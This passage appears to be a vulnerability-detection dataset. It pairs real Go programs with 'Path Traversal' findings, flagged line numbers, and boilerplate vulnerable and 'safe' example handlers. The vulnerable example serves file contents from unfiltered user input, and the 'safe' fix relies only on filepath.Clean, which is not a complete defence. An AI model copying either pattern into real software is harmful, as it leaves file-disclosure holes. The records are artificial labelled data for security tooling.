"Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 38, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/dvilchansky/gopubg/models/telemetry\"\n\t\"github.com/sirupsen/logrus\"\n)\n\nvar (\n\tinput string\n)\n\nfunc usage() {\n\tfmt.Printf(\"usage: %s [options]\\n\", os.Args[0])\n\tflag.PrintDefaults()\n\tos.Exit(1)\n}\n\nfunc init() {\n\t// Parameters\n\tflag.StringVar(&input, \"input\", \"\", \"input file\")\n\n\t// Parse parameters\n\tflag.Parse()\n\n\t// Verify parameters\n\tif input == \"\" {\n\t\tusage()\n\t}\n}\n\nfunc main() {\n\tlogrus.SetLevel(logrus.DebugLevel)\n\n\tfile, err := os.Open(input)\n\tif err != nil {\n\t\tlogrus.Fatal(err)\n\t}\n\n\tt, err := telemetry.ParseTelemetry(file)\n\tif err != nil {\n\t\tlogrus.Fatal(err)\n\t}\n\n\tfmt.Printf(\"%d events parsed\\n\", len(t.Events))\n\tfmt.Printf(\"%d players\\n\", len(t.Players))\n\n\tfor _, player := range t.Players {\n\t\tfmt.Printf(\" - %s (%d events, ranking=%d)\\n\", player.Name, len(player.Events), player.Ranking)\n\t\tif player.Ranking == 1 {\n\t\t\tfmt.Printf(\"winner: %s\\n\", player.Name)\n\n\t\t\tfor idx, evt := range player.Events {\n\t\t\t\tfmt.Printf(\"%d: %s\\n\", idx, telemetry.KnownEventTypes[evt.Type])\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 38, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "57265b3b9e5cbcd1250057a55cecbdbc86335117fa6d90ef929c277a0a56b017", "license": {"spdx": ["Apache-2.0"], "repo": "D1abloRUS/gpio-rest-api-server", "path": "main.go", "repo_head_hexsha": "6d9d1131fb7068071cb6ba13259f4d0203c25e9b", "stack_hexsha": "baa8f268ceb5bd0cbffb4481827d8653a6bc310e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 168, "entireCode": "package main\n\nimport (\n\t\"database/sql\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"strconv\"\n\n\t\"github.com/gorilla/mux\"\n\t_ \"github.com/mattn/go-sqlite3\"\n\t\"github.com/stianeikeland/go-rpio/v4\"\n)\n\ntype gpioRequest struct {\n\tActive bool `json:\"active\"`\n}\n\ntype gpioStatusResponse struct {\n\tIsActive bool `json:\"is_active\"`\n}\n\ntype gpio struct {\n\tGpioId int `json:\"gpioID\"`\n\tIsActive bool `json:\"isActive\"`\n}\n\nvar (\n\tdbfile string\n\trecovery bool\n\tlistenport int\n\tdb *sql.DB\n)\n\nfunc getGpioID(r *http.Request) (int, error) {\n\tvars := mux.Vars(r)\n\tid := vars[\"id\"]\n\tpinId, err := strconv.Atoi(id)\n\treturn pinId, err\n}\n\nfunc gpioPinEnable(pinId int, pinStatuses bool) {\n\tpin := rpio.Pin(pinId)\n\tpin.Output()\n\n\tif pinStatuses {\n\t\tpin.Low()\n\t} else {\n\t\tpin.High()\n\t}\n}\n\nfunc setGpioStatus(w http.ResponseWriter, r *http.Request) {\n\tvar gr gpioRequest\n\n\tpinId, err := getGpioID(r)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\treqBody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(reqBody, &gr)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tgpioPinEnable(pinId, gr.Active)\n\tinsertGpioStatus(pinId, gr.Active)\n}\n\nfunc responseGpioStatus(w http.ResponseWriter, r *http.Request) {\n\tvar gsr gpioStatusResponse\n\n\tpinId, err := getGpioID(r)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tgsr.IsActive = getGpioStatus(pinId)\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tjson.NewEncoder(w).Encode(gsr)\n}\n\nfunc createInitTable() {\n\tcreateGpioTableSQL := `CREATE TABLE IF NOT EXISTS gpio (\n\t\t\"gpioID\" integer NOT NULL PRIMARY KEY AUTOINCREMENT,\t\t\n\t\t\"active\" bool\n\t\t);`\n\n\tstatement, err := db.Prepare(createGpioTableSQL)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t}\n\tdefer statement.Close()\n\n\tstatement.Exec()\n}\n\nfunc insertGpioStatus(gpioID int, active bool) {\n\tgpioSqlQuery := `INSERT INTO gpio(gpioID, active) VALUES (?, ?)\n\t ON CONFLICT(gpioID) DO UPDATE SET active=excluded.active;`\n\tstatement, err := db.Prepare(gpioSqlQuery)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t}\n\tdefer statement.Close()\n\t_, err = statement.Exec(gpioID, active)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t}\n}\n\nfunc getGpioStatus(gpioID int) bool {\n\tvar active bool\n\n\tgpioSqlQuery := `SELECT active FROM gpio WHERE gpioID == ?`\n\tstatement, err := db.Prepare(gpioSqlQuery)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t}\n\tdefer statement.Close()\n\terr = statement.QueryRow(gpioID).Scan(&active)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\tactive = false\n\t}\n\treturn active\n}\n\nfunc getGpioAllStatus() []gpio {\n\tgpios := []gpio{}\n\trows, err := db.Query(\"SELECT gpioID, active FROM gpio\")\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tg := gpio{}\n\t\terr := rows.Scan(&g.GpioId, &g.IsActive)\n\t\tif err != nil {\n\t\t\tlog.Println(err.Error())\n\t\t\tcontinue\n\t\t}\n\t\tgpios = append(gpios, g)\n\t}\n\n\treturn gpios\n}\n\nfunc dbInit() {\n\tvar err error\n\n\tif _, err = os.Stat(dbfile); os.IsNotExist(err) {\n\t\tfile, err := os.Create(dbfile)\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err.Error())\n\t\t}\n\t\tfile.Close()\n\t}\n\n\tdb, err = sql.Open(\"sqlite3\", dbfile)\n\tif err != nil {\n\t\tlog.Fatalln(err.Error())\n\t}\n\n\tcreateInitTable()\n}\n\nfunc gpioInit() {\n\tif err := rpio.Open(); err != nil {\n\t\tlog.Fatalln(err)\n\t}\n}\nfunc recoveryGpioState() {\n\tgpiosStatus := getGpioAllStatus()\n\tfor _, g := range gpiosStatus {\n\t\tgpioPinEnable(g.GpioId, g.IsActive)\n\t}\n}\n\nfunc init() {\n\tflag.StringVar(&dbfile, \"dbfile\", \"./gpio.db\", \"Set db file\")\n\tflag.BoolVar(&recovery, \"recovery\", false, \"Recovery gpio state at start\")\n\tflag.IntVar(&listenport, \"listen-port\", 8081, \"Set http server listen port\")\n}\n\nfunc main() {\n\tflag.Parse()\n\n\t//DB initialization\n\tdbInit()\n\n\t//GPIO init\n\tgpioInit()\n\n\t//Recovery gpio state\n\tif recovery {\n\t\trecoveryGpioState()\n\t\tlog.Println(\"gpio state recovered\")\n\t}\n\n\t//mux route\n\tmyRouter := mux.NewRouter().StrictSlash(true)\n\tmyRouter.HandleFunc(\"/gpios/{id}\", setGpioStatus).Methods(\"POST\")\n\tmyRouter.HandleFunc(\"/gpios/{id}\", responseGpioStatus).Methods(\"GET\")\n\n\t//Run http server\n\tlog.Println(\"Starting HTTP server on port:\", listenport)\n\tlog.Println(http.ListenAndServe(\":\"+strconv.Itoa(listenport), myRouter))\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 168, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "d1a0b972c7c35388d7d1e374805c14b64f5d0912abd16421b00ddb8995445ab4", "license": {"spdx": ["MIT"], "repo": "viert/simplesuggest", "path": "src/simplesuggest.go", "repo_head_hexsha": "48985cfee412df813a407a4f3a3a53d6456bdbb6", "stack_hexsha": "1c032af6f9ac74fd69f56221f49786acb67ab5ce", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 30, "entireCode": "package main\n\nimport (\n\t\"config\"\n\t\"flag\"\n\tlogging \"github.com/op/go-logging\"\n\t\"os\"\n\t\"os/signal\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\t\"syscall\"\n\t\"web\"\n)\n\nvar (\n\tlogfileName string\n\tlogfile *os.File\n\tlog *logging.Logger = logging.MustGetLogger(\"suggest\")\n)\n\nconst (\n\tDEFAULT_CONFIG_FILE = \"/etc/simplesuggest.conf\"\n)\n\nfunc reopenLog() {\n\tvar err error\n\tif logfile != nil {\n\t\tlogfile.Close()\n\t}\n\tlogfile, err = os.OpenFile(logfileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, os.FileMode(0644))\n\tif err != nil {\n\t\treturn\n\t}\n\tbackend := logging.NewLogBackend(logfile, \"\", 0)\n\tlogging.SetBackend(backend)\n}\n\nfunc hupCatcher() {\n\tc := make(chan os.Signal)\n\tsignal.Notify(c, syscall.SIGHUP)\n\tfor _ = range c {\n\t\tlog.Debug(\"HUP signal catched, reopening logfile %s\", logfileName)\n\t\treopenLog()\n\t}\n}\n\nfunc main() {\n\tvar confFile, format string\n\tflag.StringVar(&confFile, \"c\", DEFAULT_CONFIG_FILE, \"suggest daemon config filename\")\n\tflag.Parse()\n\n\tconf := config.Load(confFile)\n\tswitch conf.Log {\n\tcase \"syslog\":\n\t\tbackend, err := logging.NewSyslogBackend(\"suggest\")\n\t\tif err != nil {\n\t\t\tlog.Error(err.Error())\n\t\t\treturn\n\t\t}\n\t\tlogging.SetBackend(backend)\n\t\tformat = \"%{program} %{level} %{message}\"\n\tcase \"\":\n\t\tbackend := logging.NewLogBackend(os.Stdout, \"\", 0)\n\t\tbackend.Color = true\n\t\tlogging.SetBackend(backend)\n\t\tformat = \"%{color:reset}[%{time:2006-01-02 15:04:05}] %{color}%{level} %{color:reset}%{message}\"\n\tdefault:\n\t\tlogfileName = conf.Log\n\t\treopenLog()\n\t\tgo hupCatcher()\n\t\tformat = \"[%{time:2006-01-02 15:04:05}] %{level} %{message}\"\n\t}\n\n\tlogging.SetFormatter(logging.MustStringFormatter(format))\n\tlogging.SetLevel(conf.LogLevel, \"suggest\")\n\n\tlog.Debugf(\"Configuring runtime: GCPercent(%d), MaxCores(%d), MaxThreads(%d)\", conf.GCPercent, conf.MaxCores, conf.MaxThreads)\n\truntime.GOMAXPROCS(conf.MaxCores)\n\tdebug.SetGCPercent(conf.GCPercent)\n\tdebug.SetMaxThreads(conf.MaxThreads)\n\n\tserver := web.NewServer()\n\tserver.Start(conf.Host, conf.Port)\n\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "229d5ceb0d8ff20a5641c55ab295fe8a555a7a120bebe3c031e0b81946a3483c", "license": {"spdx": ["MIT"], "repo": "nklapste/primitive-gobot", "path": "main.go", "repo_head_hexsha": "29212f5f87cbec172e2a9ad908033d8ed9f13dc2", "stack_hexsha": "3359e3b2f296a935272f11af524acd29123ed3af", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 28, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/signal\"\n\t\"io/ioutil\"\n\t\"strings\"\n\t\"syscall\"\n\n\t\"github.com/bwmarrin/discordgo\"\n\t\"net/http\"\n)\n\nfunc init() {\n\tflag.StringVar(&token, \"t\", \"\", \"Bot Token\")\n\tflag.StringVar(&tokenfile, \"tf\", \"\", \"Bot token file path\")\n\tflag.Parse()\n}\n\nvar token string\nvar tokenfile string\n\nfunc main() {\n\n\tif tokenfile != \"\" {\n\t\tb, err := ioutil.ReadFile(tokenfile) // just pass the file name\n\t\tif err != nil {\n\t\t\tfmt.Print(err)\n\t\t\treturn\n\t\t}\n\t\ttoken = string(b)\n\t}\n\tif token == \"\" {\n\t\tfmt.Println(\"No token provided. Please run: primitive-gobot -t or primitive-gobot -tf \")\n\t\treturn\n\t}\n\n\t// Create a new Discord session using the provided bot token.\n\tdg, err := discordgo.New(\"Bot \" + token)\n\tif err != nil {\n\t\tfmt.Println(\"Error creating Discord session: \", err)\n\t\treturn\n\t}\n\n\t// Register ready as a callback for the ready events.\n\tdg.AddHandler(ready)\n\n\t// Register messageCreate as a callback for the messageCreate events.\n\tdg.AddHandler(messageCreate)\n\n\t// Register guildCreate as a callback for the guildCreate events.\n\tdg.AddHandler(guildCreate)\n\n\t// Open the websocket and begin listening.\n\terr = dg.Open()\n\tif err != nil {\n\t\tfmt.Println(\"Error opening Discord session: \", err)\n\t}\n\n\t// Wait here until CTRL-C or other term signal is received.\n\tfmt.Println(\"primitive-gobot is now running. Press CTRL-C to exit.\")\n\tsc := make(chan os.Signal, 1)\n\tsignal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)\n\t<-sc\n\n\t// Cleanly close down the Discord session.\n\tdg.Close()\n}\n\n// This function will be called (due to AddHandler above) when the bot receives\n// the \"ready\" event from Discord.\nfunc ready(s *discordgo.Session, event *discordgo.Ready) {\n\ts.UpdateStatus(0, \"with themselves\")\n}\n\n// This function will be called (due to AddHandler above) every time a new\n// message is created on any channel that the autenticated bot has access to.\nfunc messageCreate(s *discordgo.Session, m *discordgo.MessageCreate) {\n\n\t// Ignore all messages created by the bot itself\n\t// This isn't required in this specific example but it's a good practice.\n\tif m.Author.ID == s.State.User.ID {\n\t\treturn\n\t}\n\n\tif strings.HasPrefix(m.Content, \"!primify\") {\n\t\tc, err := s.State.Channel(m.ChannelID)\n\t\tif err != nil {\n\t\t\t// Could not find channel.\n\t\t\treturn\n\t\t}\n\n\t\tfor _, attachment := range m.Attachments{\n\t\t\tfmt.Printf(\"Getting attachment %s\", attachment.URL)\n\n\t\t\t// get the attachment\n\t\t\tresp, err := http.Get(attachment.URL)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Print(err.Error())\n\t\t\t}\n\t\t\t// put the primify stub here\n\n\t\t\t// send the file back\n\t\t\ts.ChannelFileSend(c.ID, \"out.png\", resp.Body)\n\t\t}\n\t}\n}\n\n// This function will be called (due to AddHandler above) every time a new\n// guild is joined.\nfunc guildCreate(s *discordgo.Session, event *discordgo.GuildCreate) {\n\n\tif event.Guild.Unavailable {\n\t\treturn\n\t}\n\n\tfor _, channel := range event.Guild.Channels {\n\t\tif channel.ID == event.Guild.ID {\n\t\t\t_, _ = s.ChannelMessageSend(channel.ID, \"primitive-gobot is ready!\")\n\t\t\treturn\n\t\t}\n\t}\n}\n\n", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 28, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "f972da301a90b36ab4b7724cb4a3195eb8a181192f94109ac9cd5599eadc88f5", "license": {"spdx": ["MIT"], "repo": "EvyBongers/go", "path": "cmd/go/main.go", "repo_head_hexsha": "741cbb323dcd9b043efe01cdbb9903e0e51edce5", "stack_hexsha": "14268988f4d72c3918c1cf85ffd5e95e73c00450", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 26, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"sort\"\n\t\"time\"\n\n\t\"gopkg.in/yaml.v2\"\n\n\t\"github.com/gorilla/mux\"\n)\n\nvar (\n\tshortUrlMap = map[string]string{}\n\tredirectsFile = \"\"\n\tredirectsFileInfo os.FileInfo\n)\n\nfunc load_redirects() {\n\tfile, err := os.Open(redirectsFile)\n\tredirects, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tshortUrlMap = map[string]string{}\n\tif err = yaml.Unmarshal(redirects, &shortUrlMap); err != nil {\n\t\tif err = json.Unmarshal(redirects, &shortUrlMap); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n}\n\nfunc main() {\n\tflag.StringVar(&redirectsFile, \"redirects-file\", \"\", \"CSV file that contains the redirect mapping\")\n\tflag.Parse()\n\n\tif redirectsFile == \"\" {\n\t\tlog.Fatalf(\"Redirects file not specified!\\n\")\n\t}\n\tredirectsFileInfo, err := os.Stat(redirectsFile)\n\tif os.IsNotExist(err) {\n\t\tlog.Fatalf(\"File %s does not exist!\\n\", redirectsFile)\n\t}\n\n\tload_redirects()\n\n\tgo func() {\n\t\tfor {\n\t\t\ttime.Sleep(5 * time.Second)\n\n\t\t\tredirectsFileNewInfo, err := os.Stat(redirectsFile)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Failed to stat redirects file %s: %v\", err)\n\t\t\t}\n\n\t\t\tif redirectsFileInfo.ModTime().Before(redirectsFileNewInfo.ModTime()) {\n\t\t\t\tlog.Printf(\"Redirects file was modified, reloading.\")\n\t\t\t\tredirectsFileInfo = redirectsFileNewInfo\n\t\t\t\tload_redirects()\n\t\t\t}\n\t\t}\n\t}()\n\n\tr := mux.NewRouter()\n\tr.HandleFunc(\"/\", landingPageHandler)\n\tr.HandleFunc(\"/{shortUrl:[a-z]+}\", redirectHandler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", r))\n}\n\nfunc landingPageHandler(w http.ResponseWriter, r *http.Request) {\n\tshortUrls := make([]string, len(shortUrlMap))\n\n\ti := 0\n\tfor k := range shortUrlMap {\n\t\tshortUrls[i] = k\n\t\ti++\n\t}\n\tsort.Strings(shortUrls)\n\n\twriteBuffer(w, \"\")\n\twriteBuffer(w, \"\")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" Go\")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \" \")\n\tfor _, shortUrl := range shortUrls {\n\t\twriteBuffer(w, \" \")\n\t\twriteBuffer(w, \" \")\n\t\twriteBuffer(w, \" \")\n\t\twriteBuffer(w, \" \")\n\t}\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \"
Short URLTarget URL
/\"+shortUrl+\"\"+shortUrlMap[shortUrl]+\"
\")\n\twriteBuffer(w, \" \")\n\twriteBuffer(w, \"\")\n}\n\nfunc redirectHandler(w http.ResponseWriter, r *http.Request) {\n\tshortUrl := mux.Vars(r)[\"shortUrl\"]\n\turl, ok := shortUrlMap[shortUrl]\n\tif !ok {\n\t\thttp.Error(w, fmt.Sprintf(\"ShortURL %s does not exist\", shortUrl), http.StatusNotFound)\n\t\treturn\n\t}\n\thttp.Redirect(w, r, url, http.StatusTemporaryRedirect)\n}\n\nfunc writeBuffer(w http.ResponseWriter, text string) {\n\tw.Write([]byte(text + \"\\n\"))\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 26, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "85885a9c86895dc28d2edf0e5ed55f4ac34eae59eee99dfdb02b73a7b25718ce", "license": {"spdx": ["MIT"], "repo": "maddisondavid/satchel", "path": "satchel.go", "repo_head_hexsha": "b084a2c6e18dd287f3f674908c9e288aa98ede57", "stack_hexsha": "128bc078e4430bb6ca1ca482d975bd44056f2844", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 175, "entireCode": "package main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/pelletier/go-toml\"\n\n\t\"compress/gzip\"\n\t\"docker.io/go-docker\"\n\t\"docker.io/go-docker/api/types\"\n\t\"io\"\n\t\"log\"\n\t\"text/template\"\n)\n\nconst manifest_name = \"satchel-manifest.toml\"\nconst loadScriptName = \"load-images.sh\"\nconst loadScriptTemplate = `#!/bin/bash\n\nrepository=${1}\n\nimageFile={{ .OutputFile }}\n\nif [ \"$repository\" == \"\" ]; then\n echo \"Repository not specified\"\n exit 1\nfi\n\necho Loading Images from ${imageFile}\ndocker load < ${imageFile}\n\n{{ range $key, $value := .Descriptor.Images }}\necho \"Tagging {{ .Repository }}:{{ .Tag }} -> ${repository}/{{ .Repository }}:{{ .Tag }}\"\ndocker tag {{ .Repository }}:{{ .Tag }} ${repository}/{{ .Repository }}:{{ .Tag }}\n{{ end }}\n\n{{ range $key, $value := .Descriptor.Images }}\necho \"Pushing ${repository}/{{ .Repository }}:{{ .Tag }}\"\ndocker push ${repository}/{{ .Repository }}:{{ .Tag }}\n{{ end }} \n`\n\nconst usage = `\nsatchel pulls and packs docker images between private registries\n\nFlags:\n`\n\ntype Descriptor struct {\n\tImages []Image `toml:\"image\"`\n}\n\ntype Image struct {\n\tRegistry string `toml:\"registry\"`\n\tRepository string `toml:\"repository\"`\n\tTag string `toml:\"tag\"`\n\tPublic bool `toml:\"public\"`\n}\n\nfunc (i Image) ImageName() string {\n\tregistry := i.Registry\n\tif registry != \"\" {\n\t\tregistry = registry + \"/\"\n\t}\n\n\treturn fmt.Sprintf(\"%s%s:%s\", registry, i.Repository, i.Tag)\n}\n\nfunc (i Image) ImageNameNoRegistry() string {\n\treturn fmt.Sprintf(\"%s:%s\", i.Repository, i.Tag)\n}\n\nvar inputFile string\nvar outputFile string\nvar includePublic bool\n\nfunc main() {\n\tflag.Usage = func() {\n\t\tfmt.Fprintf(os.Stderr, usage)\n\t\tflag.PrintDefaults()\n\t\tos.Exit(2)\n\t}\n\n\tflag.StringVar(&inputFile, \"in\", \"satchel.toml\", \"Input TOML manifest to use\")\n\tflag.StringVar(&outputFile, \"out\", \"satchel-images.tgz\", \"Name of archive file to generate\")\n\tflag.BoolVar(&includePublic, \"public\", false, \"Include public images in the archive\")\n\n\tflag.Parse()\n\n\tvalidate()\n\tdescriptor := loadDescriptor()\n\n\tpullImages(descriptor.Images)\n\ttagImages(descriptor.Images)\n\n\tsaveImages(descriptor.Images)\n\tgenerateScript(*descriptor)\n}\n\nfunc validate() {\n\tif _, err := os.Stat(inputFile); err != nil {\n\t\tlog.Fatalf(\"Input file '%v' not found\", inputFile)\n\t}\n}\n\nfunc loadDescriptor() *Descriptor {\n\ttree, err := toml.LoadFile(inputFile)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error Loading File %v: %v\", inputFile, err)\n\t}\n\n\tdescriptor := &Descriptor{}\n\ttree.Unmarshal(descriptor)\n\n\tfor i := range descriptor.Images {\n\t\tif descriptor.Images[i].Tag == \"\" {\n\t\t\tdescriptor.Images[i].Tag = \"latest\"\n\t\t}\n\t}\n\n\treturn descriptor\n}\n\nfunc pullImages(images []Image) {\n\tcli := newDockerClient()\n\n\tfor _, image := range images {\n\t\tif image.Public && !includePublic {\n\t\t\tcontinue\n\t\t}\n\n\t\tlog.Printf(\"Pulling Image %s\\n\", image.ImageName())\n\t\t_, err := cli.ImagePull(context.Background(), image.ImageName(), types.ImagePullOptions{})\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n}\n\nfunc tagImages(images []Image) {\n\tcli := newDockerClient()\n\n\tfor _, image := range images {\n\t\tif image.Public && !includePublic {\n\t\t\tcontinue\n\t\t}\n\n\t\tsrc := image.ImageName()\n\t\tdest := image.ImageNameNoRegistry()\n\n\t\tlog.Printf(\"Tagging Image %s -> %s\", src, dest)\n\t\tcli.ImageTag(context.Background(), src, dest)\n\t}\n}\n\nfunc saveImages(images []Image) {\n\tcli := newDockerClient()\n\n\timageSummaries, err := cli.ImageList(context.Background(), types.ImageListOptions{})\n\tif err != nil {\n\t\tlog.Fatalf(\"Error Getting Docker Image List: %v\", err)\n\t}\n\n\timageIds := findImageIds(images, imageSummaries)\n\n\treaderCloser, err := cli.ImageSave(context.Background(), imageIds)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error saving images: %v\", err)\n\t}\n\n\tlog.Printf(\"Writing images to %v\", outputFile)\n\toutFile, err := os.Create(outputFile)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error Creating Image File %v: %v\", outputFile, 